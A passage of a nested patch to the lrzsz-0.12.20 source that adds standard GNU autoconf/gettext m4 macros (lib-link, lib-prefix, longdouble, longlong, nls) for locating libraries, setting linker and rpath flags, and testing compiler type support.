-+ HAVE_LIB[]NAME=yes
-+ undefine([Name])
-+ undefine([NAME])
-+])
-+
-+dnl AC_LIB_HAVE_LINKFLAGS(name, dependencies, includes, testcode)
-+dnl searches for libname and the libraries corresponding to explicit and
-+dnl implicit dependencies, together with the specified include files and
-+dnl the ability to compile and link the specified testcode. If found, it
-+dnl sets and AC_SUBSTs HAVE_LIB${NAME}=yes and the LIB${NAME} and
-+dnl LTLIB${NAME} variables and augments the CPPFLAGS variable, and
-+dnl #defines HAVE_LIB${NAME} to 1. Otherwise, it sets and AC_SUBSTs
-+dnl HAVE_LIB${NAME}=no and LIB${NAME} and LTLIB${NAME} to empty.
-+AC_DEFUN([AC_LIB_HAVE_LINKFLAGS],
-+[
-+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
-+ AC_REQUIRE([AC_LIB_RPATH])
-+ define([Name],[translit([$1],[./-], [___])])
-+ define([NAME],[translit([$1],[abcdefghijklmnopqrstuvwxyz./-],
-+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])])
-+
-+ dnl Search for lib[]Name and define LIB[]NAME, LTLIB[]NAME and INC[]NAME
-+ dnl accordingly.
-+ AC_LIB_LINKFLAGS_BODY([$1], [$2])
-+
-+ dnl Add $INC[]NAME to CPPFLAGS before performing the following checks,
-+ dnl because if the user has installed lib[]Name and not disabled its use
-+ dnl via --without-lib[]Name-prefix, he wants to use it.
-+ ac_save_CPPFLAGS="$CPPFLAGS"
-+ AC_LIB_APPENDTOVAR([CPPFLAGS], [$INC]NAME)
-+
-+ AC_CACHE_CHECK([for lib[]$1], [ac_cv_lib[]Name], [
-+ ac_save_LIBS="$LIBS"
-+ LIBS="$LIBS $LIB[]NAME"
-+ AC_TRY_LINK([$3], [$4], [ac_cv_lib[]Name=yes], [ac_cv_lib[]Name=no])
-+ LIBS="$ac_save_LIBS"
-+ ])
-+ if test "$ac_cv_lib[]Name" = yes; then
-+ HAVE_LIB[]NAME=yes
-+ AC_DEFINE([HAVE_LIB]NAME, 1, [Define if you have the $1 library.])
-+ AC_MSG_CHECKING([how to link with lib[]$1])
-+ AC_MSG_RESULT([$LIB[]NAME])
-+ else
-+ HAVE_LIB[]NAME=no
-+ dnl If $LIB[]NAME didn't lead to a usable library, we don't need
-+ dnl $INC[]NAME either.
-+ CPPFLAGS="$ac_save_CPPFLAGS"
-+ LIB[]NAME=
-+ LTLIB[]NAME=
-+ fi
-+ AC_SUBST([HAVE_LIB]NAME)
-+ AC_SUBST([LIB]NAME)
-+ AC_SUBST([LTLIB]NAME)
-+ undefine([Name])
-+ undefine([NAME])
-+])
-+
-+dnl Determine the platform dependent parameters needed to use rpath:
-+dnl libext, shlibext, hardcode_libdir_flag_spec, hardcode_libdir_separator,
-+dnl hardcode_direct, hardcode_minus_L.
-+AC_DEFUN([AC_LIB_RPATH],
-+[
-+ AC_REQUIRE([AC_PROG_CC]) dnl we use $CC, $GCC, $LDFLAGS
-+ AC_REQUIRE([AC_LIB_PROG_LD]) dnl we use $LD, $with_gnu_ld
-+ AC_REQUIRE([AC_CANONICAL_HOST]) dnl we use $host
-+ AC_REQUIRE([AC_CONFIG_AUX_DIR_DEFAULT]) dnl we use $ac_aux_dir
-+ AC_CACHE_CHECK([for shared library run path origin], acl_cv_rpath, [
-+ CC="$CC" GCC="$GCC" LDFLAGS="$LDFLAGS" LD="$LD" with_gnu_ld="$with_gnu_ld" \
-+ ${CONFIG_SHELL-/bin/sh} "$ac_aux_dir/config.rpath" "$host" > conftest.sh
-+ . ./conftest.sh
-+ rm -f ./conftest.sh
-+ acl_cv_rpath=done
-+ ])
-+ wl="$acl_cv_wl"
-+ libext="$acl_cv_libext"
-+ shlibext="$acl_cv_shlibext"
-+ hardcode_libdir_flag_spec="$acl_cv_hardcode_libdir_flag_spec"
-+ hardcode_libdir_separator="$acl_cv_hardcode_libdir_separator"
-+ hardcode_direct="$acl_cv_hardcode_direct"
-+ hardcode_minus_L="$acl_cv_hardcode_minus_L"
-+ dnl Determine whether the user wants rpath handling at all.
-+ AC_ARG_ENABLE(rpath,
-+ [ --disable-rpath do not hardcode runtime library paths],
-+ :, enable_rpath=yes)
-+])
-+
-+dnl AC_LIB_LINKFLAGS_BODY(name [, dependencies]) searches for libname and
-+dnl the libraries corresponding to explicit and implicit dependencies.
-+dnl Sets the LIB${NAME}, LTLIB${NAME} and INC${NAME} variables.
-+AC_DEFUN([AC_LIB_LINKFLAGS_BODY],
-+[
-+ define([NAME],[translit([$1],[abcdefghijklmnopqrstuvwxyz./-],
-+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])])
-+ dnl By default, look in $includedir and $libdir.
-+ use_additional=yes
-+ AC_LIB_WITH_FINAL_PREFIX([
-+ eval additional_includedir=\"$includedir\"
-+ eval additional_libdir=\"$libdir\"
-+ ])
-+ AC_LIB_ARG_WITH([lib$1-prefix],
-+[ --with-lib$1-prefix[=DIR] search for lib$1 in DIR/include and DIR/lib
-+ --without-lib$1-prefix don't search for lib$1 in includedir and libdir],
-+[
-+ if test "X$withval" = "Xno"; then
-+ use_additional=no
-+ else
-+ if test "X$withval" = "X"; then
-+ AC_LIB_WITH_FINAL_PREFIX([
-+ eval additional_includedir=\"$includedir\"
-+ eval additional_libdir=\"$libdir\"
-+ ])
-+ else
-+ additional_includedir="$withval/include"
-+ additional_libdir="$withval/lib"
-+ fi
-+ fi
-+])
-+ dnl Search the library and its dependencies in $additional_libdir and
-+ dnl $LDFLAGS. Using breadth-first-seach.
-+ LIB[]NAME=
-+ LTLIB[]NAME=
-+ INC[]NAME=
-+ rpathdirs=
-+ ltrpathdirs=
-+ names_already_handled=
-+ names_next_round='$1 $2'
-+ while test -n "$names_next_round"; do
-+ names_this_round="$names_next_round"
-+ names_next_round=
-+ for name in $names_this_round; do
-+ already_handled=
-+ for n in $names_already_handled; do
-+ if test "$n" = "$name"; then
-+ already_handled=yes
-+ break
-+ fi
-+ done
-+ if test -z "$already_handled"; then
-+ names_already_handled="$names_already_handled $name"
-+ dnl See if it was already located by an earlier AC_LIB_LINKFLAGS
-+ dnl or AC_LIB_HAVE_LINKFLAGS call.
-+ uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'`
-+ eval value=\"\$HAVE_LIB$uppername\"
-+ if test -n "$value"; then
-+ if test "$value" = yes; then
-+ eval value=\"\$LIB$uppername\"
-+ test -z "$value" || LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$value"
-+ eval value=\"\$LTLIB$uppername\"
-+ test -z "$value" || LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$value"
-+ else
-+ dnl An earlier call to AC_LIB_HAVE_LINKFLAGS has determined
-+ dnl that this library doesn't exist. So just drop it.
-+ :
-+ fi
-+ else
-+ dnl Search the library lib$name in $additional_libdir and $LDFLAGS
-+ dnl and the already constructed $LIBNAME/$LTLIBNAME.
-+ found_dir=
-+ found_la=
-+ found_so=
-+ found_a=
-+ if test $use_additional = yes; then
-+ if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then
-+ found_dir="$additional_libdir"
-+ found_so="$additional_libdir/lib$name.$shlibext"
-+ if test -f "$additional_libdir/lib$name.la"; then
-+ found_la="$additional_libdir/lib$name.la"
-+ fi
-+ else
-+ if test -f "$additional_libdir/lib$name.$libext"; then
-+ found_dir="$additional_libdir"
-+ found_a="$additional_libdir/lib$name.$libext"
-+ if test -f "$additional_libdir/lib$name.la"; then
-+ found_la="$additional_libdir/lib$name.la"
-+ fi
-+ fi
-+ fi
-+ fi
-+ if test "X$found_dir" = "X"; then
-+ for x in $LDFLAGS $LTLIB[]NAME; do
-+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
-+ case "$x" in
-+ -L*)
-+ dir=`echo "X$x" | sed -e 's/^X-L//'`
-+ if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then
-+ found_dir="$dir"
-+ found_so="$dir/lib$name.$shlibext"
-+ if test -f "$dir/lib$name.la"; then
-+ found_la="$dir/lib$name.la"
-+ fi
-+ else
-+ if test -f "$dir/lib$name.$libext"; then
-+ found_dir="$dir"
-+ found_a="$dir/lib$name.$libext"
-+ if test -f "$dir/lib$name.la"; then
-+ found_la="$dir/lib$name.la"
-+ fi
-+ fi
-+ fi
-+ ;;
-+ esac
-+ if test "X$found_dir" != "X"; then
-+ break
-+ fi
-+ done
-+ fi
-+ if test "X$found_dir" != "X"; then
-+ dnl Found the library.
-+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$found_dir -l$name"
-+ if test "X$found_so" != "X"; then
-+ dnl Linking with a shared library. We attempt to hardcode its
-+ dnl directory into the executable's runpath, unless it's the
-+ dnl standard /usr/lib.
-+ if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then
-+ dnl No hardcoding is needed.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
-+ else
-+ dnl Use an explicit option to hardcode DIR into the resulting
-+ dnl binary.
-+ dnl Potentially add DIR to ltrpathdirs.
-+ dnl The ltrpathdirs will be appended to $LTLIBNAME at the end.
-+ haveit=
-+ for x in $ltrpathdirs; do
-+ if test "X$x" = "X$found_dir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ ltrpathdirs="$ltrpathdirs $found_dir"
-+ fi
-+ dnl The hardcoding into $LIBNAME is system dependent.
-+ if test "$hardcode_direct" = yes; then
-+ dnl Using DIR/libNAME.so during linking hardcodes DIR into the
-+ dnl resulting binary.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
-+ else
-+ if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then
-+ dnl Use an explicit option to hardcode DIR into the resulting
-+ dnl binary.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
-+ dnl Potentially add DIR to rpathdirs.
-+ dnl The rpathdirs will be appended to $LIBNAME at the end.
-+ haveit=
-+ for x in $rpathdirs; do
-+ if test "X$x" = "X$found_dir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ rpathdirs="$rpathdirs $found_dir"
-+ fi
-+ else
-+ dnl Rely on "-L$found_dir".
-+ dnl But don't add it if it's already contained in the LDFLAGS
-+ dnl or the already constructed $LIBNAME
-+ haveit=
-+ for x in $LDFLAGS $LIB[]NAME; do
-+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
-+ if test "X$x" = "X-L$found_dir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir"
-+ fi
-+ if test "$hardcode_minus_L" != no; then
-+ dnl FIXME: Not sure whether we should use
-+ dnl "-L$found_dir -l$name" or "-L$found_dir $found_so"
-+ dnl here.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
-+ else
-+ dnl We cannot use $hardcode_runpath_var and LD_RUN_PATH
-+ dnl here, because this doesn't fit in flags passed to the
-+ dnl compiler. So give up. No hardcoding. This affects only
-+ dnl very old systems.
-+ dnl FIXME: Not sure whether we should use
-+ dnl "-L$found_dir -l$name" or "-L$found_dir $found_so"
-+ dnl here.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name"
-+ fi
-+ fi
-+ fi
-+ fi
-+ else
-+ if test "X$found_a" != "X"; then
-+ dnl Linking with a static library.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_a"
-+ else
-+ dnl We shouldn't come here, but anyway it's good to have a
-+ dnl fallback.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir -l$name"
-+ fi
-+ fi
-+ dnl Assume the include files are nearby.
-+ additional_includedir=
-+ case "$found_dir" in
-+ */lib | */lib/)
-+ basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'`
-+ additional_includedir="$basedir/include"
-+ ;;
-+ esac
-+ if test "X$additional_includedir" != "X"; then
-+ dnl Potentially add $additional_includedir to $INCNAME.
-+ dnl But don't add it
-+ dnl 1. if it's the standard /usr/include,
-+ dnl 2. if it's /usr/local/include and we are using GCC on Linux,
-+ dnl 3. if it's already present in $CPPFLAGS or the already
-+ dnl constructed $INCNAME,
-+ dnl 4. if it doesn't exist as a directory.
-+ if test "X$additional_includedir" != "X/usr/include"; then
-+ haveit=
-+ if test "X$additional_includedir" = "X/usr/local/include"; then
-+ if test -n "$GCC"; then
-+ case $host_os in
-+ linux*) haveit=yes;;
-+ esac
-+ fi
-+ fi
-+ if test -z "$haveit"; then
-+ for x in $CPPFLAGS $INC[]NAME; do
-+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
-+ if test "X$x" = "X-I$additional_includedir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ if test -d "$additional_includedir"; then
-+ dnl Really add $additional_includedir to $INCNAME.
-+ INC[]NAME="${INC[]NAME}${INC[]NAME:+ }-I$additional_includedir"
-+ fi
-+ fi
-+ fi
-+ fi
-+ fi
-+ dnl Look for dependencies.
-+ if test -n "$found_la"; then
-+ dnl Read the .la file. It defines the variables
-+ dnl dlname, library_names, old_library, dependency_libs, current,
-+ dnl age, revision, installed, dlopen, dlpreopen, libdir.
-+ save_libdir="$libdir"
-+ case "$found_la" in
-+ */* | *\\*) . "$found_la" ;;
-+ *) . "./$found_la" ;;
-+ esac
-+ libdir="$save_libdir"
-+ dnl We use only dependency_libs.
-+ for dep in $dependency_libs; do
-+ case "$dep" in
-+ -L*)
-+ additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'`
-+ dnl Potentially add $additional_libdir to $LIBNAME and $LTLIBNAME.
-+ dnl But don't add it
-+ dnl 1. if it's the standard /usr/lib,
-+ dnl 2. if it's /usr/local/lib and we are using GCC on Linux,
-+ dnl 3. if it's already present in $LDFLAGS or the already
-+ dnl constructed $LIBNAME,
-+ dnl 4. if it doesn't exist as a directory.
-+ if test "X$additional_libdir" != "X/usr/lib"; then
-+ haveit=
-+ if test "X$additional_libdir" = "X/usr/local/lib"; then
-+ if test -n "$GCC"; then
-+ case $host_os in
-+ linux*) haveit=yes;;
-+ esac
-+ fi
-+ fi
-+ if test -z "$haveit"; then
-+ haveit=
-+ for x in $LDFLAGS $LIB[]NAME; do
-+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
-+ if test "X$x" = "X-L$additional_libdir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ if test -d "$additional_libdir"; then
-+ dnl Really add $additional_libdir to $LIBNAME.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$additional_libdir"
-+ fi
-+ fi
-+ haveit=
-+ for x in $LDFLAGS $LTLIB[]NAME; do
-+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
-+ if test "X$x" = "X-L$additional_libdir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ if test -d "$additional_libdir"; then
-+ dnl Really add $additional_libdir to $LTLIBNAME.
-+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$additional_libdir"
-+ fi
-+ fi
-+ fi
-+ fi
-+ ;;
-+ -R*)
-+ dir=`echo "X$dep" | sed -e 's/^X-R//'`
-+ if test "$enable_rpath" != no; then
-+ dnl Potentially add DIR to rpathdirs.
-+ dnl The rpathdirs will be appended to $LIBNAME at the end.
-+ haveit=
-+ for x in $rpathdirs; do
-+ if test "X$x" = "X$dir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ rpathdirs="$rpathdirs $dir"
-+ fi
-+ dnl Potentially add DIR to ltrpathdirs.
-+ dnl The ltrpathdirs will be appended to $LTLIBNAME at the end.
-+ haveit=
-+ for x in $ltrpathdirs; do
-+ if test "X$x" = "X$dir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ ltrpathdirs="$ltrpathdirs $dir"
-+ fi
-+ fi
-+ ;;
-+ -l*)
-+ dnl Handle this in the next round.
-+ names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'`
-+ ;;
-+ *.la)
-+ dnl Handle this in the next round. Throw away the .la's
-+ dnl directory; it is already contained in a preceding -L
-+ dnl option.
-+ names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'`
-+ ;;
-+ *)
-+ dnl Most likely an immediate library name.
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$dep"
-+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$dep"
-+ ;;
-+ esac
-+ done
-+ fi
-+ else
-+ dnl Didn't find the library; assume it is in the system directories
-+ dnl known to the linker and runtime loader. (All the system
-+ dnl directories known to the linker should also be known to the
-+ dnl runtime loader, otherwise the system is severely misconfigured.)
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name"
-+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-l$name"
-+ fi
-+ fi
-+ fi
-+ done
-+ done
-+ if test "X$rpathdirs" != "X"; then
-+ if test -n "$hardcode_libdir_separator"; then
-+ dnl Weird platform: only the last -rpath option counts, the user must
-+ dnl pass all path elements in one option. We can arrange that for a
-+ dnl single library, but not when more than one $LIBNAMEs are used.
-+ alldirs=
-+ for found_dir in $rpathdirs; do
-+ alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir"
-+ done
-+ dnl Note: hardcode_libdir_flag_spec uses $libdir and $wl.
-+ acl_save_libdir="$libdir"
-+ libdir="$alldirs"
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-+ libdir="$acl_save_libdir"
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag"
-+ else
-+ dnl The -rpath options are cumulative.
-+ for found_dir in $rpathdirs; do
-+ acl_save_libdir="$libdir"
-+ libdir="$found_dir"
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-+ libdir="$acl_save_libdir"
-+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag"
-+ done
-+ fi
-+ fi
-+ if test "X$ltrpathdirs" != "X"; then
-+ dnl When using libtool, the option that works for both libraries and
-+ dnl executables is -R. The -R options are cumulative.
-+ for found_dir in $ltrpathdirs; do
-+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-R$found_dir"
-+ done
-+ fi
-+])
-+
-+dnl AC_LIB_APPENDTOVAR(VAR, CONTENTS) appends the elements of CONTENTS to VAR,
-+dnl unless already present in VAR.
-+dnl Works only for CPPFLAGS, not for LIB* variables because that sometimes
-+dnl contains two or three consecutive elements that belong together.
-+AC_DEFUN([AC_LIB_APPENDTOVAR],
-+[
-+ for element in [$2]; do
-+ haveit=
-+ for x in $[$1]; do
-+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
-+ if test "X$x" = "X$element"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ [$1]="${[$1]}${[$1]:+ }$element"
-+ fi
-+ done
-+])
---- lrzsz-0.12.20.safe/m4/lib-prefix.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/lib-prefix.m4 2004-09-12 14:40:34.921662056 -0400
-@@ -0,0 +1,155 @@
-+# lib-prefix.m4 serial 3 (gettext-0.13)
-+dnl Copyright (C) 2001-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+
-+dnl AC_LIB_ARG_WITH is synonymous to AC_ARG_WITH in autoconf-2.13, and
-+dnl similar to AC_ARG_WITH in autoconf 2.52...2.57 except that is doesn't
-+dnl require excessive bracketing.
-+ifdef([AC_HELP_STRING],
-+[AC_DEFUN([AC_LIB_ARG_WITH], [AC_ARG_WITH([$1],[[$2]],[$3],[$4])])],
-+[AC_DEFUN([AC_][LIB_ARG_WITH], [AC_ARG_WITH([$1],[$2],[$3],[$4])])])
-+
-+dnl AC_LIB_PREFIX adds to the CPPFLAGS and LDFLAGS the flags that are needed
-+dnl to access previously installed libraries. The basic assumption is that
-+dnl a user will want packages to use other packages he previously installed
-+dnl with the same --prefix option.
-+dnl This macro is not needed if only AC_LIB_LINKFLAGS is used to locate
-+dnl libraries, but is otherwise very convenient.
-+AC_DEFUN([AC_LIB_PREFIX],
-+[
-+ AC_BEFORE([$0], [AC_LIB_LINKFLAGS])
-+ AC_REQUIRE([AC_PROG_CC])
-+ AC_REQUIRE([AC_CANONICAL_HOST])
-+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
-+ dnl By default, look in $includedir and $libdir.
-+ use_additional=yes
-+ AC_LIB_WITH_FINAL_PREFIX([
-+ eval additional_includedir=\"$includedir\"
-+ eval additional_libdir=\"$libdir\"
-+ ])
-+ AC_LIB_ARG_WITH([lib-prefix],
-+[ --with-lib-prefix[=DIR] search for libraries in DIR/include and DIR/lib
-+ --without-lib-prefix don't search for libraries in includedir and libdir],
-+[
-+ if test "X$withval" = "Xno"; then
-+ use_additional=no
-+ else
-+ if test "X$withval" = "X"; then
-+ AC_LIB_WITH_FINAL_PREFIX([
-+ eval additional_includedir=\"$includedir\"
-+ eval additional_libdir=\"$libdir\"
-+ ])
-+ else
-+ additional_includedir="$withval/include"
-+ additional_libdir="$withval/lib"
-+ fi
-+ fi
-+])
-+ if test $use_additional = yes; then
-+ dnl Potentially add $additional_includedir to $CPPFLAGS.
-+ dnl But don't add it
-+ dnl 1. if it's the standard /usr/include,
-+ dnl 2. if it's already present in $CPPFLAGS,
-+ dnl 3. if it's /usr/local/include and we are using GCC on Linux,
-+ dnl 4. if it doesn't exist as a directory.
-+ if test "X$additional_includedir" != "X/usr/include"; then
-+ haveit=
-+ for x in $CPPFLAGS; do
-+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
-+ if test "X$x" = "X-I$additional_includedir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ if test "X$additional_includedir" = "X/usr/local/include"; then
-+ if test -n "$GCC"; then
-+ case $host_os in
-+ linux*) haveit=yes;;
-+ esac
-+ fi
-+ fi
-+ if test -z "$haveit"; then
-+ if test -d "$additional_includedir"; then
-+ dnl Really add $additional_includedir to $CPPFLAGS.
-+ CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }-I$additional_includedir"
-+ fi
-+ fi
-+ fi
-+ fi
-+ dnl Potentially add $additional_libdir to $LDFLAGS.
-+ dnl But don't add it
-+ dnl 1. if it's the standard /usr/lib,
-+ dnl 2. if it's already present in $LDFLAGS,
-+ dnl 3. if it's /usr/local/lib and we are using GCC on Linux,
-+ dnl 4. if it doesn't exist as a directory.
-+ if test "X$additional_libdir" != "X/usr/lib"; then
-+ haveit=
-+ for x in $LDFLAGS; do
-+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
-+ if test "X$x" = "X-L$additional_libdir"; then
-+ haveit=yes
-+ break
-+ fi
-+ done
-+ if test -z "$haveit"; then
-+ if test "X$additional_libdir" = "X/usr/local/lib"; then
-+ if test -n "$GCC"; then
-+ case $host_os in
-+ linux*) haveit=yes;;
-+ esac
-+ fi
-+ fi
-+ if test -z "$haveit"; then
-+ if test -d "$additional_libdir"; then
-+ dnl Really add $additional_libdir to $LDFLAGS.
-+ LDFLAGS="${LDFLAGS}${LDFLAGS:+ }-L$additional_libdir"
-+ fi
-+ fi
-+ fi
-+ fi
-+ fi
-+])
-+
-+dnl AC_LIB_PREPARE_PREFIX creates variables acl_final_prefix,
-+dnl acl_final_exec_prefix, containing the values to which $prefix and
-+dnl $exec_prefix will expand at the end of the configure script.
-+AC_DEFUN([AC_LIB_PREPARE_PREFIX],
-+[
-+ dnl Unfortunately, prefix and exec_prefix get only finally determined
-+ dnl at the end of configure.
-+ if test "X$prefix" = "XNONE"; then
-+ acl_final_prefix="$ac_default_prefix"
-+ else
-+ acl_final_prefix="$prefix"
-+ fi
-+ if test "X$exec_prefix" = "XNONE"; then
-+ acl_final_exec_prefix='${prefix}'
-+ else
-+ acl_final_exec_prefix="$exec_prefix"
-+ fi
-+ acl_save_prefix="$prefix"
-+ prefix="$acl_final_prefix"
-+ eval acl_final_exec_prefix=\"$acl_final_exec_prefix\"
-+ prefix="$acl_save_prefix"
-+])
-+
-+dnl AC_LIB_WITH_FINAL_PREFIX([statement]) evaluates statement, with the
-+dnl variables prefix and exec_prefix bound to the values they will have
-+dnl at the end of the configure script.
-+AC_DEFUN([AC_LIB_WITH_FINAL_PREFIX],
-+[
-+ acl_save_prefix="$prefix"
-+ prefix="$acl_final_prefix"
-+ acl_save_exec_prefix="$exec_prefix"
-+ exec_prefix="$acl_final_exec_prefix"
-+ $1
-+ exec_prefix="$acl_save_exec_prefix"
-+ prefix="$acl_save_prefix"
-+])
---- lrzsz-0.12.20.safe/m4/longdouble.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/longdouble.m4 2004-09-12 14:40:34.942658864 -0400
-@@ -0,0 +1,30 @@
-+# longdouble.m4 serial 1 (gettext-0.12)
-+dnl Copyright (C) 2002-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+dnl Test whether the compiler supports the 'long double' type.
-+dnl Prerequisite: AC_PROG_CC
-+
-+AC_DEFUN([gt_TYPE_LONGDOUBLE],
-+[
-+ AC_CACHE_CHECK([for long double], gt_cv_c_long_double,
-+ [if test "$GCC" = yes; then
-+ gt_cv_c_long_double=yes
-+ else
-+ AC_TRY_COMPILE([
-+ /* The Stardent Vistra knows sizeof(long double), but does not support it. */
-+ long double foo = 0.0;
-+ /* On Ultrix 4.3 cc, long double is 4 and double is 8. */
-+ int array [2*(sizeof(long double) >= sizeof(double)) - 1];
-+ ], ,
-+ gt_cv_c_long_double=yes, gt_cv_c_long_double=no)
-+ fi])
-+ if test $gt_cv_c_long_double = yes; then
-+ AC_DEFINE(HAVE_LONG_DOUBLE, 1, [Define if you have the 'long double' type.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/longlong.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/longlong.m4 2004-09-12 14:40:34.949657800 -0400
-@@ -0,0 +1,25 @@
-+# longlong.m4 serial 4
-+dnl Copyright (C) 1999-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Paul Eggert.
-+
-+# Define HAVE_LONG_LONG if 'long long' works.
-+
-+AC_DEFUN([jm_AC_TYPE_LONG_LONG],
-+[
-+ AC_CACHE_CHECK([for long long], ac_cv_type_long_long,
-+ [AC_TRY_LINK([long long ll = 1LL; int i = 63;],
-+ [long long llmax = (long long) -1;
-+ return ll << i | ll >> i | llmax / ll | llmax % ll;],
-+ ac_cv_type_long_long=yes,
-+ ac_cv_type_long_long=no)])
-+ if test $ac_cv_type_long_long = yes; then
-+ AC_DEFINE(HAVE_LONG_LONG, 1,
-+ [Define if you have the 'long long' type.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/Makefile.am 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/Makefile.am 2004-09-12 14:40:35.048642752 -0400
-@@ -0,0 +1 @@
-+EXTRA_DIST = codeset.m4 gettext.m4 glibc21.m4 iconv.m4 intdiv0.m4 intmax.m4 inttypes.m4 inttypes_h.m4 inttypes-pri.m4 isc-posix.m4 lcmessage.m4 lib-ld.m4 lib-link.m4 lib-prefix.m4 longdouble.m4 longlong.m4 nls.m4 po.m4 printf-posix.m4 progtest.m4 signed.m4 size_max.m4 stdint_h.m4 uintmax_t.m4 ulonglong.m4 wchar_t.m4 wint_t.m4 xsize.m4
---- lrzsz-0.12.20.safe/m4/nls.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/nls.m4 2004-09-12 14:40:34.955656888 -0400
-@@ -0,0 +1,49 @@
-+# nls.m4 serial 1 (gettext-0.12)
-+dnl Copyright (C) 1995-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+dnl
-+dnl This file can can be used in projects which are not available under
-+dnl the GNU General Public License or the GNU Library General Public
-+dnl License but which still want to provide support for the GNU gettext
-+dnl functionality.
-+dnl Please note that the actual code of the GNU gettext library is covered
-+dnl by the GNU Library General Public License, and the rest of the GNU
-+dnl gettext package package is covered by the GNU General Public License.
-+dnl They are *not* in the public domain.
-+
-+dnl Authors:
-+dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
